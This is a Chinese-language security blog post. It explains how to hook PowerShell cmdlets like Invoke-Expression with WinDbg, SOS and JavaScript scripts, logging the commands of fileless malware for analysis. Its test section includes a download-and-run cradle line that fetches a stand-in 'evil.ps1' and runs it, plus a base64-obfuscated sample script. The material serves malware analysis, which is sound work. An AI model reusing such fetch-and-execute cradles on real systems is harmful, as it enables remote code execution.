上一篇讲述了基于脚本层面覆盖的伪Hook方式,脚本方式胜在简单,但同样也存在诸多难以避免的问题。
例如(半)自动化分析时候难以对抗检测、对于复杂参数的Cmdlet要自己实现一套完整的对应参数绑定、无法跟踪原生.net类与方法调用等等。
鉴于上述情况,本篇将讲一个略复杂但更为有效的Hook方式:调试器法。即通过调试器+脚本,达到半自动分析的目的。
在开始阅读之前,请确保按照这篇文章调教好最新版本的windbg,或者去应用商店安装windbg preview(如果报错,同样参考前面文章进行解决)。
本文仅考虑x64环境,x86环境下请自行处理参数与调用约定的问题。
0x01 原理
有句话说得好,调试器中一切都是透明的。Windows下最好的调试器自然非windbg莫属。
作为(伪)安全研究人员,看待一些事物应当更加的深入本质一些。无文件攻击中的脚本跑起来需要宿主,而脚本宿主本身却是个有符号或源码的windows程序。借助合适的方法调教好调试器,即使恶意软件披上一层脚本的皮,依然难以遁形。
首先需要了解一个知识点:PowerShell是基于.net的,几乎所有的Cmdlet都对应一个[System.Management.Automation]System.Management.Automation.PSCmdlet或Cmdlet类的实现,参数则是一系列由ParameterAttribute标记的实例属性。
深入到.net层面,问题也就转换成了:如何调试一个.net程序并输出日志?vs这种重量级的自然想都不想,mdbg是个玩具,而windbg+sos+脚本刚好能完全满足易用与定制化的双重需求。
在调试一个对象之前,首先要得到其定义。具体到Cmdlet,则要找到所对应的类。
我们可以使用Get-Command命令得到任何一个Cmdlet的定义,其返回值为一个(默认情况下)或多个(存在重名情况)CommandInfo对象。对于Cmdlet,其实现为CmdletInfo,其中ImplementingType.AssemblyQualifiedName属性保存了Cmdlet类的*完全限定名称*。
例如,可以使用以下命令查看实现iex所属.net类的完全限定名称:
(Get-Command Invoke-Expression).ImplementingType.AssemblyQualifiedName
可以得到以下结果:
Microsoft.PowerShell.Commands.InvokeExpressionCommand, Microsoft.PowerShell.Commands.Utility, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35
用ILSpy打开GAC程序集,加载Microsoft.PowerShell.Commands.Utility并定位到InvokeExpressionCommand类,可以得到以下反编译结果:
如图可知,InvokeExpressionCommand类有且仅有一个重写的ProcessRecord方法,在方法内部会读取Command属性作为新的脚本块执行。
查看Command的setter,可看到是_command字段的简单包装:
所以整体的思路也就明晰了:对[Microsoft.PowerShell.Commands.Utility]Microsoft.PowerShell.Commands.InvokeExpressionCommand::ProcessRecord下断,打印或保存_command字段,最后恢复执行。
0x02 实现
对.net进行调试需要使用sos拓展,此拓展包含在.net framework中,提供了数十条用于调试.net程序的命令。
我们可以使用windbg附加一个运行中的PowerShell,然后通过以下命令加载sos:
.loadby sos mscorwks .loadby sos clr
其中mscorwks/clr为.net运行时主模块。在.net 2.0/3.5版本中为mscorwks,对应win7/2003自带的PowerShell;在.net 4.0及以上版本为clr,对应win8或更高版本系统自带的PowerShell。
加载sos后,使用bpmd命令即可对某个类的方法进行下断:
!bpmd Microsoft.PowerShell.Commands.Utility.dll Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord
其中Microsoft.PowerShell.Commands.Utility.dll为类所在的程序集文件名(忽略NGen处理后的.ni),Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord为需要下断点的方法。
恢复程序运行,回到PowerShell中,调用iex进行测试,可以看到被成功断下:
遵从C++中的调用约定,.net经过JIT编译后实例方法同样为thiscall,此时rcx寄存器的值即为InvokeExpressionCommand类的实例。
我们可以使用!do命令对此实例进行dump:
可以看到,当前实例的_command字段值为f5d5de0,根据反编译结果,是一个字符串对象。
继续使用!do命令,可以得到以下结果:
红圈处即为iex命令的完整参数。
0x03 脚本化
实际分析过程中,由于可能存在多次调用或其他断点,我们不可能每次都手动进行上述一系列繁琐操作。
Windbg提供了数据模型接口(Debugger对象),JsProvider插件则提供了使用js语法(由chakra实现)编写脚本的功能。
数据模型接口实际上是由windbg提供的一系列方法和对象集合,包括当前调试会话、进程、线程、模块、寄存器、内存操作等等。参考msdn JavaScript调试器脚本一章可知,在脚本中可以使用内置变量host来进行访问。
(有关数据模型接口的详细信息,请参考附录中的dx命令、在Debugger对象上使用LINQ以及msdn其它相关文章)
现在的一个问题就是,sos仅仅是拓展命令的集合,并未提供自己的数据模型对象,我们只能通过分析命令输出的方式来进行处理。Debugger对象提供了Utility.Control.ExecuteCommand方法,在脚本中可通过host.namespace.Debugger.Utility.Control.ExecuteCommand进行调用:
function exec(s) { var ret=[]; var obj=host.namespace.Debugger.Utility.Control.ExecuteCommand(s); for(var line of obj) { ret.push(line); } return ret; }
(方法本身返回一个iterator对象,由于在某些环境下可能出现无法使用下标或getValueAt进行索引访问的问题,为兼容性起见转换为数组)
在获取到命令输出后,根据结果的格式对其进行处理:
function dumpiex() { if(isClrObject(null,'Microsoft.PowerShell.Commands.InvokeExpressionCommand')) { var command=getClrObjectField(null,'_command') if(command) { var str=getClrString(command); println('[+] begin command dump.'); println('===================='); for(var line of str) { println(line); } println('===================='); } else { println('[x] no command field.'); } } else { println('[x] @rcx not a Microsoft.PowerShell.Commands.InvokeExpressionCommand instance.') } } function getClrString(obj) { var ret=[]; if(!obj) { obj='@rcx'; } var opt=exec('!do '+obj); var type=opt[0].split(' ').reverse()[0]; if(type=='System.String') { var status=false; for(var i=0;i<opt.length;i++) { var line=opt[i]; if(!status) { if(line.startsWith('String: ')) { status=true; ret.push(line.substr(8)); } } else { if(line=='Fields:' && opt[i+1].match(new RegExp('\\s+MT\\s+Field\\s+Offset\\s+','g'))) { break; } else { ret.push(line); } } } } else { ret=type; } return ret; } function getClrObjectField(obj,field) { if(!obj) { obj='@rcx'; } var opt=exec('!do '+obj); for(var line of opt) { if(line.endsWith(field)) { var data=line.split(' ').reverse(); if(data[2]=='instance') { return data[1]; } } } return false; } function isClrObject(obj,cls) { if(!obj) { obj='@rcx'; } var opt=exec('!do '+obj); return opt[0].endsWith(cls); }
和0x02中的操作相同,首先获取当前实例中_command字段的地址,之后检测并提取其字符串值,最后将结果输出。
同样的,为bpmd做一个更为便捷的封装:
function clrbreak(asm,method,expr) { sosInit(); var opt=exec('!name2ee '+asm+' '+method); var addr=''; var md=''; for(var line of opt) { if(line.startsWith('MethodDesc:')) { md=line.split(' ')[1]; } else if(line.startsWith('JITTED Code Address:')) { addr=line.split(': ')[1]; break; } } if(md=='') { println('[x] method not found.'); return; } if(addr=='') { println('[!] method not JITTED, expr was ignored.'); println('[!] **notice: abstract or interface member were NEVER JITTED**.'); exec('!bpmd '+asm+' '+method); return; } else { if(typeof(expr)!='undefined') { opt=exec('bp '+addr+' "'+expr+'"'); } else { opt=exec('bp '+addr); } for(var line of opt) { println(line); } } }
实际使用时还存在记录日志的需求,Debugger.Utility.FileSystem对象提供了一系列操作文件的方法,借此我们可以编写一个简单的日志记录:
function getWriter(name) { if(logpath)//全局变量 { var process=host.namespace.Debugger.State.DebuggerVariables.curprocess; var path=logpath+"\\"+process.Name+"_"+parseInt(process.Id)+"_"+name+".log"; var writer=null; var file=null; if(host.namespace.Debugger.Utility.FileSystem.FileExists(path)) { file=host.namespace.Debugger.Utility.FileSystem.OpenFile(path); file.Position=file.Size; } else { file=host.namespace.Debugger.Utility.FileSystem.CreateFile(path); file.WriteBytes([0xef,0xbb,0xbf]);//BOM } writer=host.namespace.Debugger.Utility.FileSystem.CreateTextWriter(file,'Utf8'); } return {"File":file,"Writer":writer}; }
之后修改dumpiex函数进行调用:
function dumpiex() { if(isClrObject(null,'Microsoft.PowerShell.Commands.InvokeExpressionCommand')) { var command=getClrObjectField(null,'_command') if(command) { var str=getClrString(command); var writer=getWriter("iex"); println('[+] begin command dump.'); println('===================='); if(writer.Writer) { writer.Writer.WriteLine((new Date()).toLocaleString()); for(var line of str) { println(line); writer.Writer.WriteLine(line); } writer.File.Close(); } else { for(var line of str) { println(line); } } println('===================='); } else { println('[x] no command field.'); } } else { println('[x] @rcx not a Microsoft.PowerShell.Commands.InvokeExpressionCommand instance.') } }
FileSystem对象在最新版本的Windbg Priview中提供,这也就是为什么要按照这篇文章进行移植的原因。
最后,为了在windbg中进行调用,可以在初始化函数中将dumpiex和clrbreak注册为拓展命令:
function initializeScript() { //同名的LINQ方法无法在脚本中使用 ''.__proto__.startsWith=function(s) { return this.indexOf(s)==0; }; ''.__proto__.endsWith=function(s) { var index=this.lastIndexOf(s); return index!=-1 && index+s.length==this.length; }; return [ new host.functionAlias(dumpiex,'dumpiex'), new host.functionAlias(clrbreak,'clrbreak') ]; }
0x04 测试
用已调教好的windbg附加打开的PowerShell,之后执行:
.load jsprovider;.scriptload d:\script\iexdump.js;!clrbreak "Microsoft.PowerShell.Commands.Utility.dll","Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord","!dumpiex;g;";g;
其中d:\script\iexdump.js为0x03中的脚本路径。
在PowerShell中模拟一个恶意操作:
iex (new-object system.net.webclient).downloadstring('http://127.0.0.1/evil.ps1')
其中evil.ps1的内容为:
$cmd=[text.encoding]::utf8.getstring([convert]::frombase64string('d3JpdGUtaG9zdCAnemNnLm1hbHdhcmUucHMxLnRlc3QnDQpzdGFydC1wcm9jZXNzIGNhbGM=')) #write-host 'zcg.malware.ps1.test' #start-process calc iex $cmd
可以看到所有代码均被记录:
如果在脚本中配置了日志路径的话,还可以得到如下日志输出:
0x05 拓展
当然,某些时候不光要跟踪iex,或许还需要关注一下其他Cmdlet或者原生.net的调用等等。
对于Cmdlet,和0x02中的操作大同小异。首先使用Get-Command获取实现类的程序集,之后从程序集中定位到实现类,找到关键属性与对应字段,编写脚本进行处理即可。
以New-Object为例,当创建原生.net对象时,会使用TypeName属性,该属性为typeName字段的简单包装;当创建com对象时,会使用ComObject属性,该属性为comObject字段的简单包装。
根据dumpiex简单修改,可得到以下代码:
function dumpnewobj() { sosInit(); if(isClrObject(null,'Microsoft.PowerShell.Commands.NewObjectCommand')) { var typeName=getClrObjectField(null,'typeName'); var comObject=getClrObjectField(null,'comObject'); if(typeName && parseInt(typeName,16)!=0) { var str=getClrString(typeName); println('[+] CLR type: '+str); } else if(comObject && parseInt(comObject,16)!=0) { var str=getClrString(comObject); println('[+] COM type: '+str); } else { println('[x] no field found.'); } } else { println('[x] @rcx not a Microsoft.PowerShell.Commands.NewObjectCommand instance.') } }
在initializeScript最后添加一个拓展命令的注册:
new host.functionAlias(dumpnewobj,'dumpnewobj')
重新加载脚本,并使用以下命令下断。注意根据Cmdlet的具体实现,这里需要断下的方法为BeginProcessing:
!clrbreak "Microsoft.PowerShell.Commands.Utility.dll","Microsoft.PowerShell.Commands.NewObjectCommand.BeginProcessing","!dumpnewobj;g;"
最后我们将得到以下结果:
对于原生.net调用,首先查看msdn找到类所在程序集,之后定位到目标方法或关键属性及字段,最后进行处理。
以[System.Net.WebClient]::DownloadString(System.String)为例,在分析时我们可能不会关心当前WebClient的状态(因为一般来说并没有什么特殊配置),而对于下载地址可能是整个分析过程中相对重要的信息。
根据方法签名,可以知道下载地址为第一个参数,由于是实例方法,第一个参数保存在rdx寄存器中。
对getClrString函数进行简单包装,并注册为拓展命令:
function dumpstr(reason,obj) { var str=getClrString(obj); println('[+] string for '+reason+' : '+str) } //in initializeScript new host.functionAlias(dumpstr,'dumpstr')
根据具体方法进行下断(注意转义):
!clrbreak "System.dll","System.Net.WebClient.DownloadString","!dumpstr \\\"[System.Net.WebClient]::DownloadString\\\";g;"
最后将得到以下结果:
综上,调试器法除了需要手动附加/执行的缺点,单纯从跟踪记录的角度看功能还是非常强大的。
当然,或许有很多人的调试环境中已经通过某些工具为powershell配置了自动挂起,这个缺点实际上影响会更小。
最后,可能有人注意到了几乎所有Cmdlet的方法和属性都有下面这段代码:
using (XXXCommand.tracer.TraceMethod()) { //do something }
这是PowerShell本身自带的Trace功能,例如可以使用以下语句进行开启针对iex的Trace:
Set-TraceSource -Option All -Name InvokeExpressionCommand -PSHost
之后执行iex,可以看到以下输出:
但可惜的是微软并没有提供有效的接口来进行自定义操作。实现类PSTraceSource仅仅使用了StackTrace进行调用跟踪,而StackTrace/StackFrame本身是不包含参数信息的。
无法获取参数,也就使得Trace功能只是一个鸡肋。
或许可以通过Trace功能来记录所有的Cmdlet调用,之后分析输出结果,最终实现流程跟踪并生成行为指纹?其实是个不错的主意,但工程量或许太大了些。
0x06 对抗
单纯从检测方面来看,难度并不是很大,毕竟回归了最原始的反调试,IsDebuggerPresent、PEB、HeapFlags以及各种其他API等等都可以写成ShellCode来用。
为了避免Add-Type的源码编译行为,各种API以及ShellCode的调用可以使用GetModuleHandle+GetProcAddress的组合。mscorlib、System等多个程序集里面都存在这两个API,也有大量的恶意软件实现了武器化。
但从实际的角度来看,从ShellCode的层面执行后再转回PowerShell完全多此一举。或许纯PowerShell实现的恶意软件需要这些,只可惜并不常见。现今市面上的恶意软件更多情况下是在Memory Module或.net Assembly层面存在这些检测,外面的脚本调用层一般是没有这些的。
所以调试器法除了略繁琐些还是很靠谱的。借助合适的脚本,至少能把PowerShell和.net层面的做的事摸个清楚,顺便还能结合积累的脚本调试一下后续的操作之类。
0x07 参考链接
sos:https://docs.microsoft.com/en-us/dotnet/framework/tools/sos-dll-sos-debugging-extension
JavaScript调试脚本:https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/javascript-debugger-scripting
dx命令:https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/dx--display-visualizer-variables-
在Debugger对象上使用LINQ:https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/using-linq-with-the-debugger-objects
JavaScript拓展中的内置调试对象:https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/native-objects-in-javascript-extensions
完整的调试脚本下载: PowerShellHelper.zip
解压密码见注释。